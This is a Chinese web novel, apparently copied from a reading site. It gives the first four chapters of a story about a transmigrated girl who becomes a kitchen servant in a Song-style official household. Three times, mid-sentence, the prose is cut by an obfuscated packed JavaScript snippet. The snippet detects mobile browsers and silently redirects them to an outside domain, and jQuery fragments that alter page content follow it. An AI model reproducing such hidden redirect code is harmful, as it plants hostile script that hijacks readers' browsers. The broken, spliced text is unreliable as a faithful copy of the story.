《古代家生子的生存指南》 1. 第 1 章 大周，泰和县。 时值寒冬腊月，北风萧瑟，陈府下房皆被皑皑白雪覆盖，院内老树枯枝，叶落殆尽，偶有寒雀栖树，亦被冻得簌簌坠下。 胡姣在东屋的土炕上醒来，只觉得全身骨头像散架了一样，额角疼得要命，耳朵里嗡嗡响。她迷迷糊糊地恢复意识，脑子一片混沌，完全不知道自己在哪里，也不知道现在是哪年哪月。屋里弥漫着一股浓重的劣质药膏混合着血腥气的苦涩味道，熏得她脑仁一阵阵发晕。 半梦半醒之间，她好像听到耳边有断断续续的呼唤声，一声声“心肝儿”、“宝贝”，带着哭腔，硬是钻进了她混乱的意识里。 那声音听着很熟悉，她勉强集中起一丝残存的力气，含含糊糊地挤出两个字：“没事……”嗓子又干又哑，简直像要冒烟。接着她又喃喃道：“水……”过了一会儿，似乎有杯子送到了嘴边，她像久旱的土地遇到雨水，急忙喝了几口，喉咙里火烧火燎的干渴感才稍微缓解了一点。 不知道又过了多久，她终于彻底清醒过来。猛地睁大眼睛四下张望，整个人顿时像被冻住了一样，僵在原地，动弹不得！ 这地方根本不是她前世的卧室，也不像是医院的病房。只见这屋子倒是挺宽敞，四面墙壁刷了白灰，但时间长了，已经泛出一种陈旧的米黄色。墙角并排放着两个桐油刷面的柜子和几只看起来沉甸甸的大箱子。房间里空荡荡的，一个人也没有，这让她心里更加惶恐不安。 突然，门“吱呀”一声轻启，打帘子走进一个妇人，瞧着不过三十二三年纪。身上一件半旧的酱色棉袄，外罩青灰色滚边坎肩儿，下系一条土黄的绫子棉裙。乌油油的头发挽作寻常圆髻，斜斜插着一根木簪。 她面色微黄，眼带倦容，手里捧着个粗陶大碗，里面热气氤氲。步履匆匆，径自走到炕沿前。 妇人先是一愣，随即面上倦色一扫而空，涌上又惊又喜之色，脱口唤道：“椒姐儿，我的心肝肉！你……你可算醒了！”忙不迭将药碗搁在炕边小几上，扭身便朝门外扬声唤道：“豆哥儿，快来！你姐姐醒了！” 话音未落，一个扎着冲天辫的小子便如炮仗般蹿了进来。正是那唤作豆哥儿的。 胡姣强忍心头那股恶心反胃的感觉，看着炕沿前这一大一小两个人，心里暗暗猜测：看他们那副情真意切的模样，十有八九就是这具身体原本的母亲和弟弟了。 她娘见女儿醒转，悲喜交集，一把搂入怀中，喉间哽咽难言：“我的儿……真真唬杀了阿娘！”话音未落，泪珠儿早如断线之珠，扑簌簌滚落下来，沾湿了胡姣肩头衣衫。 “天杀的小孽障！黑了心肝的豺狼种子！竟下得这般死手！你若有个山高水低……叫我和你爹，还有豆哥儿可怎生是好……”她泣不成声，只将胡姣搂得更紧，仿佛一松手，这失而复得的珍宝便要化风而去。 唤作豆哥儿的小童，见阿娘哭得哀切，一张冻得红萝卜似的小脸更添了惶急。他往前蹭了半步，努力挺起单薄的小胸膛，鼓着腮帮子，攥着小拳头，做出凶煞模样：“姐姐莫怕，豆哥儿在此！豆哥儿护着你。往后……往后哪个再敢欺辱姐姐，我定与他拼了性命不要！”稚嫩的童音带着颤，偏要学那豪杰气概，倒是叫人好笑又好叹。 胡姣望着眼前这泪眼婆娑的妇人，又看看那强撑勇毅却难掩惊惶的小小身影，心头那点前世今生的隔膜与疏离，便如滚汤泼雪，悄然消融。一股暖流混着酸楚，直涌上鼻尖眼底。 她轻轻回握住母亲那双大手，声音虽弱，却透着温软与真切：“阿娘，豆哥儿，莫慌。我……这不是好端端的了么？” 妇人被女儿这罕见的温顺举动和那一声熨帖的“阿娘”唤得心头滚烫，泪反是落得更凶了。连声道：“好，好！醒了便好！醒了便好！菩萨保佑，祖宗显灵……”又忙不迭地端起药碗，让女儿趁热服下。 胡姣就着阿娘的手，大口吞咽着那黑漆漆的苦药汁子。药力裹挟着一股暖意，渐渐散入四肢百骸，额角的剧痛也稍缓了些。 她缓缓靠回土墙，感受着豆哥儿依偎过来的小小温热身躯，属于“椒姐儿”与“胡姣”的斑驳记忆，如潮水般交融重叠。 原来，原身是泰和县大户陈家的下人之女。这陈家倒也稀奇，祖上原是田舍耕夫，传到陈太公手里，时来运转，偶得机缘，竟积攒下泼天富贵，成了县中数得着的殷实门户。 陈太公是个有见识的，深知“万般皆下品，惟有读书高”，更兼“商贾终是贱业，官身方显贵胄”，便倾尽家私，为独子陈老爹捐纳了一个九品的虚衔。虽则是个“芝麻绿豆”般不入流的官儿，却也改换了门庭，从此陈府门楣之上，高悬起“耕读传家”的匾额。 陈老爹娶妻吴氏，育有二子一女。长子陈敏，天资聪颖，弱冠之年便中了举人，前程似锦，又娶了本县王员外家嫡出的幼女为妻，端的是郎才女貌，夫妻和顺。孰料天妒英才，陈敏中举不过数载，竟一病呜呼，撇下孤儿寡母，撒手时尚未过而立之年。王娘子痛不欲生，本欲随夫同去，谁知却诊出已有身孕，次年诞下一女，取名兰娘，这便是陈大郎的遗腹骨血。 次子陈枚，表字文卿，便是如今陈家的当家相公，年纪轻轻，便官拜七品县令，坐镇一方。娶的是座师梅翰林家的庶出小姐。这梅娘子虽是庶女，然举止娴雅，颇通文墨，与陈二郎倒也琴瑟相谐，育有二女一子：长女蓁娘，长子晖哥儿，幼女英娘。如今陈二郎又升了润州推官，独自赴任，只留下妻儿侍奉在爹娘身旁。 另有第三子，名唤陈数，乃通房姜小娘所出。这姜小娘为人本分，侍奉陈老爹、陈老娘多年，十分勤谨小心。陈数亦已娶妻，乃是本县李县丞之次女李氏。奈何成婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127960|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数载，膝下犹虚，亦是家门一桩憾事。 陈家家大业大，奴仆众多，其中，原身这一家子便是当年随梅娘子从汴梁陪嫁来的。父亲胡舫是个老实巴交的汉子，常年在外替梅娘子打理田庄。她娘刘氏则是管着二房浆洗上的活计，为人泼辣，原身的性子便是随了她，所以又有个诨名叫“小辣椒”。 然而，做奴婢也是有讲究的。得脸的，比如梅娘子跟前的赵妈妈，既是她的奶妈妈，又得她看中管着二房一切琐事，连几个哥儿、姐儿见了也得唤一句“妈妈好”，可以说是风光无限。而不得脸的，便是被人欺负死也无人知晓。 显而易见，原身这一家子属于后者。不然原身也不会因为口角，便被二门上王管事的儿子推倒，又摔在石头上，血流如水，高烧几天不退，差点连命也丢了。哦，不对，椒姐儿已经不知道哪里去了，现在是胡姣。 次日侵晨，薄雾未收，寒气透骨。胡姣额角伤处还在隐隐作痛，却已挣扎着起身。坐于炕沿，她娘刘氏小心地与她篦头发。豆哥儿乖巧，紧偎在阿姐身侧。 刘氏见女儿面白如纸，恨得牙根咬碎，骂道：“来哥儿那杀千刀的小泼才！仗着他老子在二门上管些事，惯会拣软柿子捏！平日便专寻豆哥儿的晦气，那日见你护着兄弟，竟下这般死手！” 胡姣听了娘亲言语，只默默无言。形势比人强，谁让人家在府里得脸呢，自己这样没根基又长得有几分颜色的小丫头，可不是容易受欺负。 正说话间，忽闻门外脚步杂沓，一个妇人声气尖利，拔高了嗓子嚷道：“刘嫂子可在家么？我们特来瞧瞧椒姐儿！”话音未落，那厚门帘子“唰”地一声被掀开，冷风裹着三条人影，抢将入来。 打头一个妇人，三十上下年纪，身穿簇新蜜合色棉袄，罩着茄紫色的比甲，头上明晃晃插一支银簪子，正是王瑞的浑家，人称姜嫂子。 她身后拖着一个垂头丧气、约莫六七岁的胖小子，便是那闯祸的根苗——来哥儿。 末了是王管事王瑞本人，沉着脸，手里拎着一提精致点心。 姜氏堆下满脸笑，眼珠子却早滴溜溜在胡姣额角伤处转了一圈，登时“哎唷”一声，拍手跌脚道：“我的天爷，瞧瞧咱椒姐儿这伤，真真疼煞人了！来哥儿！你这孽障还不滚过来，与你椒姐姐磕头赔罪！” 她一把将扭扭捏捏的来哥儿搡到前头。那小子偷觑胡姣冷冰冰的目光，又见他老子面色黑沉，只得含含糊糊嘟囔一句：“对……对不住。” 刘氏一见这三人，尤其姜氏的那副虚情假意的嘴脸，新仇旧恨齐涌心头，气得浑身乱颤，脸都白了。 她“腾”地跳将起来，指着来哥儿厉声喝道：“一句‘对不住’便了了？我豆哥儿平日里不是被掷泥巴便是遭言语奚落，我椒姐儿又险些被你家的混世魔王送了性命！恁般欺人太甚！” 2. 第 2 章 她胸口起伏，转向王瑞，声音带着怒颤，“王管事，我家汉子好歹也是为梅娘子在外奔波效力的，你家就这般作践人？我定要去回明了梅娘子，请她老人家主持公道！” 姜氏一听“回梅娘子”，脸上那假笑登时挂不住，嘴一撇，吊起眼梢，声气也硬了：“胡舫家的，你这般说话可忒过了！孩子们一处耍子，磕着碰着，谁家不是常有的？我们这不是巴巴地上门来赔礼了么？瞧瞧，这可是‘福瑞斋’的上好梅花糕！”她下巴一扬，示意王瑞递上点心，神情里满是施舍的倨傲。 王瑞到底是个男人，在外行走有些见识，深知此事若真闹到梅娘子跟前，自己面上无光事小，只怕连差事也吃挂落。 他强压不快，将点心匣子放在炕边小几上，对着刘氏一拱手，闷声道：“刘嫂子，委实对不住，是我教子无方，委屈了椒姐儿。这点子东西算不得什么，权当给姐儿压惊。若还有甚需用，只管来二门上寻我。这小畜生不做人，回去我定叫他皮开肉绽！”说罢，狠狠剜了来哥儿一眼。 刘氏瞅着那刺眼的点心匣子，想着姜嫂子那句轻飘飘的“常有的”，一股邪火直冲顶门，正要不顾体面发作—— “阿娘。”一个平静却微带沙哑的声音响起，不高，却将屋内剑拔弩张之气生生压下。 众人目光齐刷刷射向炕沿的胡姣。但见她微微仰着小脸，额角的伤在晨光下愈显刺眼，然一双眸子却沉静如水，浑不似往日那点火就着的“小辣椒”。她轻轻拍了拍身旁紧张的豆哥儿，目光掠过趾高气扬的姜氏、面色阴沉的王瑞，最后落在强抑怒火的母亲身上。 “阿娘，”胡姣声音虽弱，字字却清晰，“王管事和姜婶子亲自带了来哥儿来赔礼，心意是有了。来哥儿也认了错。” 她略顿一顿，目光平静看向王瑞，“王管事在二门上为府中效力辛苦，我爹也在外头为梅娘子奔忙。都是府里当差的人，抬头不见低头见。这事……既是咱们小孩子误会一场，说开了便好。阿娘疼惜女儿，我省得。但若因这点子事搅扰了梅娘子的清静，倒显得我们小家子，不识大体了。” 这一番话，说得慢条斯理，不卑不亢，又句句在理，滴水不漏，全然不像个八岁女娃的口吻。幸而此时女子早慧者多，众人只道她是大难不死，转了心性，倒未起疑。 刘氏听得愣住，望着女儿沉静的眼，满腔怒火竟被这番话生生浇熄了大半，只剩一股憋屈的酸涩堵在喉间。 姜氏也瞪圆了眼，只当是她撞傻了，又或者是烧了几天人糊涂了，不然怎么能说出这番话呢。 王瑞则是深深看了胡姣一眼，眼底掠过一丝惊异与赞许。这小妮子，好生厉害！明着是说自家不懂事，实际上却是在点他，如果处理不好，在梅娘子跟前失了心，他这个管事只怕也就当到头了。于是忙就着梯子下墙：“椒姐儿说得是。句句在理。还是姐儿明白。刘嫂子，你看这事……” 刘氏看看女儿，又看看王家三人，心知女儿所言不差。真闹到梅娘子跟前，王管事未必就会受到重罚，可自家因此与他家结下死仇，日后胡舫在外行走，自己与一双儿女在内宅，只怕要更加艰难。 她重重叹口气，如同泄了气的皮球，无力地挥挥手：“罢，罢！东西拿走，我椒姐儿福大命大，消受不起恁家的‘好意’。只求管好自家孩儿，莫再出来生事！请便！”说罢，扭过身去，再不看他们。 姜氏碰了个软钉子，脸上红白不定，犹想开口，却被王瑞一把扯住。王瑞对着胡姣母女背影拱拱手：“多谢刘嫂子宽宏。我记下了。告辞。”强拽着犹自忿忿的姜氏和蔫头耷脑的来哥儿，匆匆离去。 三人前脚刚走，刘氏后脚便紧紧搂住胡姣，眼泪扑簌簌落下：“我的儿！你……你怎生咽得下这口腌臜气？他们分明是仗势欺人！” 胡姣偎在母亲怀中，伸出小手，轻轻拍着母亲后背，低声道：“阿娘，非是忍。是不值当。王管事管着车马行止，爹爹常在外边行走，若得罪了他，暗地里给爹爹使个绊子，或是派些劣马、破车，爹爹在外头岂不艰难？ 再者，您也知道，那姜嫂子又是三房姜小娘的侄女，虽不甚得脸，终究沾着亲。咱家根基浅，只爹爹一人在外头还算得脸。 常言道：‘宁得罪君子，莫得罪小人。’又道是：‘君子报仇，十年不晚。’如今放他一马，面上圆全，大家相安无事，方是长久之计。” 刘氏听女儿条分缕析，句句切中要害，又是心疼，又是惊诧。她捧起女儿小脸，细细端详：“我的儿……你，你竟似换了个人一般……”莫不是那一下，真个撞坏了心窍？ 胡姣心头一凛，自知这番言语显得变化过甚。忙垂下眼睑，掩住慌乱，做出虚弱疲惫之态，靠在母亲肩头：“阿娘，我头又疼得紧……想再歪会儿。” 嗯，伤未好全，精神短少，便莫再问了。 刘氏果然被引开注意，忙不迭扶她躺下，仔细掖好被角，心疼道：“睡罢，阿娘守着你。待你爹回来，定要叫他知晓，咱闺女受了天大委屈，却也长了天大出息！”语气里，终究还是带出了对女儿“懂事”的欣慰，以及对丈夫归家的殷殷期盼。 光阴荏苒，倏忽两月有余。胡姣额角那青紫淤痕已渐渐淡去，唯余下一道浅细疤痕，权作那场夺命风波的见证。这两个月间，家中为着延医问药、抓汤熬水，本就不甚丰厚的积蓄越发捉襟见肘，眼见着缸底都要露了出来。 当家的胡舫尚未归家，刘氏时常愁云罩面，夜深人静时，对着如豆油灯，无声长叹。 这般愁绪，如何瞒得过胡姣的眼去？她想起王管事家那施舍般的点心匣子，想起姜氏倨傲的嘴脸，更想起豆哥儿身上早已短小且打着补丁的旧袄。一股强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127961|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的不安与的责任感在她心头翻搅——她再不能只做那依附父母、坐吃山空的米虫！ 于是，便让刘氏替她去府里求个差事做。用她的话说“不拘何处，不拘何事——烧火、洒扫、跑腿递话”但凡是份差事，她都使得，都愿做。 刘氏听她这番话，心头又是欣慰又是酸楚，眼眶一热，险些又滚下泪来，心疼道：“我的傻姑娘！你才多大？身子骨才将养好些，府里的差事岂是好当的？累煞人哩！家里的事你莫要操心，阿娘再想法子，待你爹回来……” 然而，胡姣的态度却很坚决：“女儿不小了，八岁了。府里不少丫头，也是这般年纪便当差听使唤的。而且，您瞧我这些日子，洗碗、择菜、照看豆哥儿，哪样不行？身子是真的大好了。再者，咱们家根基浅，在府里多一份差事，便多一份月钱，也多一份体面。爹爹在外头，心头也能松快些。况且，女儿也不愿咱家总被视作那面团儿，任人揉搓！” 这一番言语，句句在理，字字敲在刘氏心坎之上。她望着女儿那双沉静而执拗的眼眸，又想起女儿病愈后判若两人的行止，想起她化解王家那场风波时的沉稳老练……这孩子，是真个长大了，懂事了！ 刘氏抚摸着女儿的发顶，叹道：“罢，罢！你这妮子，心思重得不似个小孩儿。娘明日便替你张罗打听去。” 只是，刘氏虽应承下来，心中却如十五个吊桶打水——七上八下。她虽是梅娘子陪房，然不过是个管浆洗的粗使女仆，人微言轻，能攀扯上的门路着实有限。一连数日，她借着往各院送浆洗好的衣物的机会，小心翼翼，陪着笑脸打听。 “哎呀，刘嫂子，你家椒姐儿才多大点儿？又刚伤了头，急个甚？” “春晖堂？那可是娘子心尖子上的人才能沾边的地界，多少人眼巴巴盯着呢！” “针线房？快别提了！没点根基体面，针线活计不够顶尖儿，连那门槛儿都摸不着！” 几番软钉子碰下来，刘氏心头如同压了块大石，愈发沉重。这日往大厨房送洗好的围裙罩衫，恰撞见了管采买的吴妈妈。这吴妈妈亦是梅娘子从汴梁带来的陪房，为人爽利快嘴，与刘氏平素还算能说上几句，偶有些缝补活计也托付于她。 刘氏觑着四下无人，忙将吴妈妈扯到僻静角落，堆下满面愁苦，将胡姣想当差、家中艰难的情形委婉道来，末了又奉上两色针线：“吴妈妈，您老在府里是头面人物，路子广，人缘好，求您老人家费心，看可有甚门路……不拘何等粗笨活计，只求能让那丫头先学个规矩，混口饭吃？” 吴妈妈接了她的孝敬，摩挲了两下，又抬眼瞅瞅刘氏那满怀希冀的脸，沉吟片刻，方道：“你家那椒姐儿……前阵子可是被王家小子打破了头？听闻如今性子倒沉稳了？” “是是是！如今懂事得很，手脚也勤快！”刘氏点头如捣蒜。 3. 第 3 章 “嗯……”吴妈妈点点头，“大厨房眼下倒有个缺儿。原先烧火的那个丫头，上月因手脚不干净，偷摸灶上的点心，被张婆子撵了出去！这一个月都是翠姐儿和喜姐儿两个丫头顶着三个人的差事，累得直叫娘。管事的张婆子嫌人牙子送来的丫头粗手笨脚不顶用，还没挑定。你若舍得，让椒姐儿去试试？ 烧火丫头，活计是顶顶苦的，烟熏火燎，工钱也是最低一等，然好歹是个进项。不过丑话说在前头，得先试工半个月，手脚麻利，不出差错，张婆子点了头才算数。若是不行……”吴妈妈话留半截，意思却再明白不过。 刘氏一听是烧火丫头，心口便是一沉。那可是顶苦顶累、顶没前程的差事，终日与柴灰烟煤为伍，熏得人眼都难睁。可眼下，这已是唯一的出路。 她连忙挤出十二分的感激笑容：“多谢吴妈妈提点！烧火便烧火，丫头家年纪小，正该从最底下学起。吃苦受累算得甚么？能有个差事，学个规矩，便是天大的造化。劳烦吴妈妈千万在张婆子跟前替我们姐儿美言几句，明日我便带她来上工？” 吴妈妈摆摆手：“罢了，我待会儿便去与张婆子递个话。明日辰时初刻，让她自个儿到大厨房后门寻张婆子。记牢了，手脚务要干净利索，眼里得有活儿。那张婆子的脾气，你也知道，可是阎王老子见了都皱眉的，糊弄不得！” 刘氏千恩万谢辞了吴妈妈，一路心事如潮涌地回了自家矮屋。抬眼便见女儿正耐心地教豆哥儿认几个简单的字块，那小脸上认真的神色，又让她心头一软。她将大厨房烧火丫头的差事说了，末了叹道：“苦是极苦的，烟熏火燎，娘这心里……委实疼得紧。可眼下这光景……” 胡姣却不以为意。人人都道大厨房辛苦，也没甚体面，可她却觉得挺好，能赚份月钱又能学着本事，这便足够了。而且她前世也是个老饕，于烹煮之道颇有心得，就算去了大厨房，也未必就没有出头之日。 她立时站直了身子，小脸上满是郑重：“阿娘，我不怕苦，能得份差事，能为家里添些进项，女儿心里只有欢喜。多谢阿娘为女儿奔波劳碌！” 刘氏望着女儿那全无惧色的神情，心头的忧虑，竟也被冲开了些许。这孩子，是真真脱胎换骨了。也罢，常言道瓦片尚有翻身日，且看她如何在这方寸灶膛间，闯出自己的一片小小乾坤。 却说胡姣次日五更便起，天边尚挂着几点疏星，寒气侵人。家里买不起牙粉，她便只用青盐刷了牙，又用温水抹了把脸，揣上半块昨日剩下的炊饼，便蹑手蹑脚离了自家矮屋，径往那陈府的大厨房而去。到了大厨房时，比约定的卯时初刻，竟还早了一炷香的功夫。 但见偌大厨房，灶冷灰寒，器皿散乱，地上还有几处油渍菜屑。胡姣不消人唤，抄起笤帚簸箕，先将地面细细扫过；又寻块抹布，将几张油腻案台、条凳揩抹得精光锃亮。待收拾清爽，她手脚麻利，引火添柴，架上大锅。不多时，一锅滚水“咕嘟嘟”翻腾，白茫茫水汽氤氲，驱散了晨间寒气。 恰在此时，管事的张婆子打着哈欠踱步进来。这婆子生得精瘦，颧骨微凸，眼不甚大却十分锐利。甫一进门，便觉出不同——地洁案光，灶上竟已滚着热水。她目光扫过一旁的椒姐儿，见她衣衫虽旧，额角带痕，然眼神沉稳，举止利落，心中先有了三分受用。面上却不露，只鼻子里“哼”了一声，权作知晓。 少顷，另外两个烧火丫头翠姐儿、喜姐儿也到了。她两个年方十一二，连日顶着三人的活计，早累得面如菜色。如今见来了个年纪虽小、手脚却勤快的新人，喜得如同久旱逢甘霖。趁那添柴拨火的空档，两人便压低了声，你一言我一语，将大厨房的规矩并要紧人物，絮絮叨叨灌入椒姐儿耳中。 哪个灶口火要旺，哪个火要温；哪位主子的口味忌讳；管事的娘子们脾性如何；哪些话该说，哪些话万万不能提……椒姐儿一面手脚不停地添柴、拨火，一面凝神细听，默记于心。 原来这大厨房，共有三位掌事。有一位鲍娘子，专管煎炒烹炸、鸡鸭鱼肉的活计，系二房梅娘子心腹，最是厉害，手艺也精，连陈老爹陈老娘都称赞的。 又有一位林娘子，年纪稍大些，人称一句林大娘，管的是蒸点甜羹，乃大房王娘子陪房旧人，性子倒还好，只不管闲事。 至于胡姣的顶头上司，便是这位张妈妈了，管着烧火劈柴、洗菜切配的杂役。她老人家顶要紧的规矩：手脚干净，眼里有活，嘴要严实。 说话间，大厨房人声渐沸，活计涌来。胡姣便似那走马灯里的纸人，再无片刻停歇，烧火添柴、刷锅洗碗，直忙到至辰正时分，方才得空喘口气。眼见着饭点已过，几位管事娘子便将余下琐事分拨停当，陆续归家歇息。 原来这陈府虽系官宦门第，却非那等豪奢无度之家，一日只备早、晚两顿正餐。两餐之间若有饥渴，不过用些精致细点、温热汤羹填补。故此灶房这边，过了辰末，便无甚紧要勾当。管事娘子们只消留下些滚烫粥饭温着，便可自去歇息，待府中有事，再唤个小丫头子来传便是。 众人正待松泛，忽见大姑娘兰娘房里的丫鬟绣橘，脚步匆匆，打将进来。这绣橘年方十二三岁，身穿半新不旧的藕荷色比甲，面色可亲，对着灶下众人道：“我家姑娘早起身子不爽利，早食便不曾多用。这会子想用一碗热腾腾的陈皮豆沙浮元子，不知可有？若无，还要劳烦哪位妹妹去请林大娘现做一碗。” 此言一出，灶下几个婆子、丫头，你觑我，我觑你。今日林大娘备下的点心汤羹，乃是清甜润燥的林檎炖雪耳、开胃生津的金桔梅子饼，并酥脆咸香的椒盐胡麻酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127962|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，何尝有甚陈皮豆沙浮元子？ 胡姣听见，见绣橘面色恳切，便想着去后头请林大娘现做。她刚待转身，却被身旁的翠姐儿暗暗一把扯住了衣袖。翠姐儿递个眼色与她，微微摇头。胡姣不解其意，只得按下。 绣橘等了片刻，见灶上并无她要的点心，又见无人应承去请林大娘，脸上便有些下不来，只得勉强道：“既如此……便拿碗林檎炖雪耳，并一碟子金桔梅子饼罢。”话里透着几分失望。一个婆子依言捡了递与她，绣橘接了食盒，脸色沉沉的，一言不发转身离去。 待她去得远了，胡姣方悄问翠姐儿道：“姐姐方才如何阻我？去请林大娘现做一碗，也费不得多少工夫。” 翠姐儿鬼鬼祟祟将胡姣扯到灶膛后僻静处，压低声道：“椒姐儿，你新来乍到，不知就里。那位大姑娘……唉，说来可怜。” 她左右张看无人，方道：“咱们这位兰大姑娘，便是那已故敏大爷的遗腹女。未出娘胎便没了爹，府中私下都传她命硬带煞，是个不祥之人。便是她亲娘王娘子待她也淡淡的，自小丢与奶娘史妈妈带着，在这府里，虽是主子，可却似个影子一般，没些声响。” 胡姣闻言，心头一惊。翠姐儿又道：“奇的是那王娘子，自家亲生的骨肉不疼，倒对隔房的蓁姑娘、英姑娘并晖哥儿，亲热得紧！隔三差五便送些精巧针线、时新果子、甜汤蜜水去二房。 亏得咱们当家梅娘子是个心善的宽厚人，怜她孤弱，一应吃穿用度，都照二房姐儿们份例，从不短少。只是……终是名不正言不顺，兰姑娘自家也没个底气。譬如今日这事，” 翠姐儿撇嘴道，“若是二房蓁姑娘或英姑娘身边的姐姐来要碗糖水，莫说现成的没有，便是没有，我立时跑去请林大娘，她老人家也便即刻过来现做，断不敢怠慢。若是兰姑娘……” 她摇摇头，带着几分世故的凉薄，“你方才若真去请了，林大娘多半不来，十有八九还要啐你一口，骂你不晓事，搅她清净，平白讨个没趣。” 胡姣又不解地问道：“林大娘不是大房的陪房吗？如何却不管自家姑娘？” 翠姐儿却道：“大房的陪房又如何？连王娘子自己都不疼她，下边的人自然有样学样，这里头的门道儿多着呢，你以后就知道了。” 胡姣听罢，默然无语，心头一阵嗟叹。这深宅大院，锦缎华服之下，原来也裹藏着这般势利凉薄，真个是热灶添柴，冷灶熄火。 冬日昼短，申时方交三刻，那陈府内宅早已是灯火点起，晚膳都收拾停当了。大厨房里灶火已熄，余温尚存，管事娘子们按着旧例，将些剩菜残羹分给众人。 今日府上采买了新猎得的几只野鸡，吊得鲜汤，那上好的胸脯腿肉自是主子们享用尽了，只落下些滚汤的菌子并些头爪零碎。 4. 第 4 章 这等物事，鲍娘子等有体面的仆妇，哪里瞧得上眼？便一股脑儿都赏了胡姣这几个灶下帮厨的小丫头。张婆子见胡姣还算机灵，又生的单薄，暗地里倒多给了她两个杂面炊饼。 胡姣将那尚有余温的炊饼仔细揣在怀中，双手捧了那碗滚热的汤，踩着冻硬了的青砖地，一路缩着肩儿，急急转回自家那低矮的房屋。 她娘刘氏正倚着门框张望，见女儿冻得唇青面白，浑身打颤，忙一把拉进屋里，就着那盆半明半灭的炭火取暖。 家中因替胡姣延医抓药，早几个月不曾沾得荤腥，她兄弟豆哥儿已经是面黄肌瘦，此刻见了这野鸡汤，喜得眼珠儿都亮了，直盯着那碗挪不开。 胡姣想起屋角尚存着几棵白菘，便教她娘取半棵来。小小泥炉上架起个砂锅，不多时，锅中清汤便咕嘟咕嘟泛起鱼眼泡儿。 胡姣将那切好的白菘尽数倒下，又将那冷硬的杂面炊饼细细撕成小块，置于粗陶碗底。待锅中白菘吸饱了汤汁，变得半透明时，便连汤带菜，热腾腾地浇在那炊饼上。 一时间，脆生生的白菘、融入了野鸡鲜味的肉汤、浸得软烂的杂粮饼，竟在这小屋里调和出一股子奇特的香味来。热气氤氲四散，三人围坐着边吃边说，笑声不断。 次日，屋外寒风凛冽，胡姣依旧天未亮便醒了。她轻手轻脚起身，却见外间小桌上已亮起一点昏黄的油灯光，映着她娘刘氏忙碌的身影。 “阿娘，你怎的起这般早？”胡姣讶异道。 刘氏正将一碗热乎乎的糙米粥并一小碟咸菜疙瘩丝端上桌，闻言回头，嗔道：“你这妮子！昨儿悄没声就跑了，害我醒了心慌半天！今日说什么也得看着你吃口热乎的再走。”她一边说，一边将胡姣按在凳上，“快吃，吃了，身子才好暖和暖和。” 胡姣心头一暖，顺从地坐下。虽是糙米，但粥熬得稠糯，咸菜丝也切得极细，还拌了几滴香油，在清寒的早晨便格外熨帖肠胃。 她默默吃着，刘氏就坐在一旁小杌子上，絮絮叨叨地叮嘱：“如今有了差事，不比从前在家里，眼要亮，手脚要快，心里要有成算。管事娘子们的话就是规矩，千万莫顶撞。 和小丫头子们说笑可以，但也莫太交心，需知人心隔肚皮……但也莫太怯了，谁要是平白无故欺负你，只管回来告诉娘，娘虽只是个管浆洗的，好歹也是梅娘子陪房过来的，在二房跟前，总还能说上一两句话！” 她说这话时颇有些底气，但胡姣知道刘氏其实有点打肿脸充胖子的嫌疑。是，她是梅娘子陪房不假，但梅娘子陪房实在太多，说不得连刘氏是谁都记不清了。不过，心里明白，面上却是不显，只乖巧点头：“阿娘放心，我省得。” 吃过饭，刘氏又替她拢了拢衣裳，终究是不放心，非要亲自送她到大厨房门口。一路走一路叮咛，反反复复都是那些话，直送到大厨房后门那熟悉的小院外，才在胡姣的再三劝说下止步，一步三回头地去了。 胡姣推开小门，一股柴火气混着水汽的味道扑面而来。原来灶下已有了人影，正是翠姐儿。 “翠姐姐，怎来得这般早？”胡姣主动招呼。 翠姐儿闻声抬头，一张小脸被灶膛火映得通红，眼下带着浓重的青影，一看就是没休息好，她苦笑道：“椒姐儿来了？唉，别提了！昨儿晚上鲍娘子打发人来传话，说今日咱家老娘子要请大房王娘子的娘家舅母张老娘子用饭，午间要摆席面，须得早做准备。这不，天不亮就爬起来烧水了。”她说着，肚子便不争气地“咕噜”叫了一声，脸上顿时有些讪讪。 是的，虽然此时多实行早晚两餐制，但请客一般安排在中午，一方面体现主人家的尊重，另一方面也便于展示菜肴的精美。 胡姣了然，忙道：“姐姐快歇歇，我来看着火。你赶紧垫补两口，等下怕是更不得闲。”她说着便接手了火钳。翠姐儿朝她笑笑，从怀里掏出个冷硬的杂面炊饼，就着刚滚开的热水，小口小口地啃起来。 果然，不多时，大厨房便如冷水滴入滚油般喧腾起来。管事娘子、粗使婆子、洗菜丫头、传话小厮，各色人等穿梭进出。因着午间有席面，早食便一切从简。桌案上很快摆开了清粥、酱瓜、腌萝卜、咸鸭蛋，并几大盘刚出锅的菜蒸饼（菜包子）、肉蒸饼（肉包子）、糖角子（糖包子）。又过一会儿，已是辰正，各房众人基本都领完了吃食。 